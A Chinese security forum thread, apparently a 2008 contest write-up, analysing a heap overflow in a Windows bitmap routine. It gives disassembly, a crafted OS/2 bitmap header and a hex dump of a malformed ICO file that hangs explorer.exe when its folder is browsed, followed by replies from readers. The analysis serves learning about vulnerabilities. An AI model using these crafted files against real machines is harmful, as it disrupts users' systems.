首页
社区
课程
招聘
[原创]第一阶段[第四题]我也发一下我做的吧。
2008-10-14 16:56 7164

[原创]第一阶段[第四题]我也发一下我做的吧。

2008-10-14 16:56
7164
一、程序BUG

代码:
77EFB0A3   .  57            push    edi
77EFB0A4   .  8D45 D8       lea     eax, dword ptr [ebp-28]
77EFB0A7   .  50            push    eax
77EFB0A8   .  FF75 34       push    dword ptr [ebp+34]
77EFB0AB   .  56            push    esi
77EFB0AC   .  E8 2FE6FFFF   call    <pbmiConvertInfo(x,x,x,x)>
77EFB0B1   .  3BC7          cmp     eax, edi
77EFB0B3   .  8945 F0       mov     dword ptr [ebp-10], eax
77EFB0B6   .  0F84 C7150100 je      <loc_77F0C683>
77EFB0BC   .  8B75 F0       mov     esi, dword ptr [ebp-10]
77EFB0BF   .  56            push    esi
77EFB0C0   .  E8 3AFBFFFF   call    <cjBitmapBitsSize(x)>
77EFB0C5   .  8945 D4       mov     dword ptr [ebp-2C], eax
77EFB0C8 > >  64:A1 1800000>mov     eax, dword ptr fs:[18]
77EFB0CE   .  F645 2C 03    test    byte ptr [ebp+2C], 3
77EFB0D2   .  89B8 D0060000 mov     dword ptr [eax+6D0], edi
77EFB0D8   .  0F85 46150100 jnz     <loc_77F0C624>

程序用pbmiConvertInfo根据参数构造一个 BITMAPINFOHEADER然后通过cjBitmapBitsSize函数获得图片大小。在77EFB0CE   判断图片数据的地址是否与4对齐,如果对齐,就直接显示,如果没有对齐,会跳转到

代码:
77F0C624 > > \64:A1 1800000>mov     eax, dword ptr fs:[18]
77F0C62A   .  FF75 D4       push    dword ptr [ebp-2C]
77F0C62D   .  8B40 30       mov     eax, dword ptr [eax+30]
77F0C630   .  57            push    edi
77F0C631   .  FF70 18       push    dword ptr [eax+18]
77F0C634   .  FF15 AC11EF77 call    dword ptr [<&ntdll.RtlAllocateHeap>]                  ;  ntdll.RtlAllocateHeap
77F0C63A   .  3BC7          cmp     eax, edi
77F0C63C   .  8945 C4       mov     dword ptr [ebp-3C], eax
77F0C63F   .^ 0F84 99EAFEFF je      <loc_77EFB0DE>
77F0C645   .  8B4D D4       mov     ecx, dword ptr [ebp-2C]
77F0C648   .  8B75 2C       mov     esi, dword ptr [ebp+2C]
77F0C64B   .  8BD1          mov     edx, ecx
77F0C64D   .  C1E9 02       shr     ecx, 2
77F0C650   .  8BF8          mov     edi, eax
77F0C652   .  F3:A5         rep     movs dword ptr es:[edi], dword ptr [esi]
77F0C654   .  8BCA          mov     ecx, edx
77F0C656   .  83E1 03       and     ecx, 3
77F0C659   .  F3:A4         rep     movs byte ptr es:[edi], byte ptr [esi]
77F0C65B   .  8B75 F0       mov     esi, dword ptr [ebp-10]
77F0C65E   .  8945 2C       mov     dword ptr [ebp+2C], eax
77F0C661   .  33FF          xor     edi, edi
77F0C663   .^ E9 76EAFEFF   jmp     <loc_77EFB0DE>

这段代码是根据图片大小申请一个堆空间,然后,复制数据到这个堆里。
由于没有对文件大小进行判断,造成 rep     movs dword ptr es:[edi], dword ptr [esi] 语句[esi]访问到非法内存,造成堆溢出。

二、利用方法
构造一个变形的BITMAPINFOHEADER结构。由于有77EFB0CE   .  F645 2C 03    test    byte ptr [ebp+2C], 3 的判断,那么,只要造成数据不是以4字节对齐,才可以执行到内存Copy的代码。仔细分析BMP的数据结构发现,使用OS/2的BMP文件格式,就可以实现:

代码:
typedef struct tagBITMAPCOREHEADER {
        DWORD   bcSize;                 /* used to get to color table */
        WORD    bcWidth;
        WORD    bcHeight;
        WORD    bcPlanes;
        WORD    bcBitCount;
} BITMAPCOREHEADER, FAR *LPBITMAPCOREHEADER, *PBITMAPCOREHEADER;
OS/2是使用的BITMAPCOREHEADER结构。我们构造数据:
bcSize=0C
bcWidth=0200
bcHeight=0200
bcPlanes=1
bcBitCount=1          ;正常的ICO是4,这里只有使用1

构造好这个数据后,修改exe 的PE,替换掉ICO数据部分。

三、效果
修改EXE后,来看看效果。进入文件所在的路径,由于explorer.exe的异常处理过滤了0xC0000005 错误,所以,没有任何提示。但是,这时系统会变的很慢,桌面已经无法使用,只有结束explorer.exe进程,然后重新开启才能恢复。

四、其他的运用方法
这里,不止exe 的PE可以造成错误,直接构造一个ico文件也可以达到同样的效果。由于explorer在浏览到ico文件时,会产生缩位图。构造ICO的方法和PE里大同小异。修改一个ICO文件,修改如下:
00000000h: 00 00 01 00 01 00 10 10 10 00 00 00 00 00 28 01
00000010h: 00 00 16 00 00 00 0C 00 00 00 00 20 00 20 01 00
00000020h: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

保存后,浏览文件所在的路径时,出现同样的错误。

附件上传修改后的exe和ico文件

实在没办法让explorer.exe出现错误对话框。

科锐学子:沙金

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (20)
雪    币: 216
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
sskey 1 2008-10-14 17:00
2
0
我要sf, 学习了..........
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
mstwugui 6 2008-10-14 17:02
3
0
强悍,我都没试ico,膜拜一下
雪    币: 334
活跃值: (17)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
likunkun 1 2008-10-14 17:02
4
0
沙金,强...
雪    币: 136
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
沙金 4 2008-10-14 17:04
5
0
老李,别损我了。
雪    币: 136
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
沙金 4 2008-10-14 17:06
6
0
开始分析时,想的就是缩位图,没想过PE格式。所以做了个ICO的
雪    币: 334
活跃值: (17)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
likunkun 1 2008-10-14 17:11
7
0
,你想到了兼容OS/2的图标格式,做题的时候我试着想了尝试了两次,失败了
各有所长....
雪    币: 503
活跃值: (80)
能力值: (RANK:280 )
在线值:
发帖
回帖
粉丝
mstwugui 6 2008-10-14 17:12
8
0
是啊,还考虑到os2 v1的格式,还是沙金考虑的全面
雪    币: 136
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
沙金 4 2008-10-14 17:15
9
0
逼出来的……
BMP格式除非在PE里改资源表让其错位。
我从图片格式如手的,实在没办法,才用的OS/2
雪    币: 337
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
nbw 24 2008-10-14 17:41
10
0
看你这个才看明白怎么回事了,请问你怎么找到 test    byte ptr [ebp+2C], 3 这个地方引发错误的呢?静态研究IDA还是有别的什么技巧?我这里修改最后一个跳转可以让其崩溃,但却不是结果需要的地方:

cmp     ecx, dword ptr [ebp+30]
jnz     77F13740
雪    币: 136
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
沙金 4 2008-10-14 17:53
11
0
我使用OD跟的。
在pbmiConvertInfo函数里,看见有对BITMAPINFOHEADER里的size进行比较。
看见 77EF96FF   .  83F8 0C       cmp     eax, 0C
于是google了下BITMAPINFOHEADER
知道0C是os/2的图片格式。
test    byte ptr [ebp+2C], 3
[ebp+2C] 是图片数据的地址,这里有对地址进行判断。
由于这题是溢出,那么有关数据来源的指针,应该是重点关注的地方(个人猜想)。
所以,在je的地方,按了下回车,看见了
rep     movs dword ptr es:[edi], dword ptr [esi]
所以,就猜这里可能是突破点。
雪    币: 337
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
nbw 24 2008-10-14 19:05
12
0
谢谢,学习了。技术难点的攻破源于日常经验的积累,看来要更加努力增加经验
雪    币: 86
活跃值: (34)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
方圆科技 3 2008-10-14 21:50
13
0
沙师弟实在是太强大拉。。。。膜拜
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
edigar 2008-10-14 22:10
14
0
看来这个才是关键,学习
雪    币: 136
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
沙金 4 2008-10-14 22:18
15
0
这道题这里不是关键的地方。
开始我也以为是个突破点,可惜错了。
不过,我运气不错。OS/2的图片格式,刚好满足了不是4字节对齐的条件。
雪    币: 207
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
dragonyjd 1 2008-10-15 00:03
16
0
强人,来学习了。
雪    币: 358
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
疯子鱼 2008-10-15 00:47
17
0
请问 楼主 在科锐学了几天啊

想不到科锐 培养的学生的都这么厉害啊  我也想去学了
雪    币: 442
活跃值: (723)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
wangshy 2 2008-10-15 09:04
18
0
2003 En SP2 下没有任何效果
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
edigar 2008-10-15 09:59
19
0
谢谢楼主,我是说怎么找到这个bug的关键,这个题完全没有思路,这下以后类似的问题可以找找看突破点了
雪    币: 2071
活跃值: (77)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
sessiondiy 4 2008-10-15 12:16
20
0
追码经验..
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
vxasm 6 2008-10-15 15:34
21
0
学习到了ICON格式。
游客
登录 | 注册 方可回帖
返回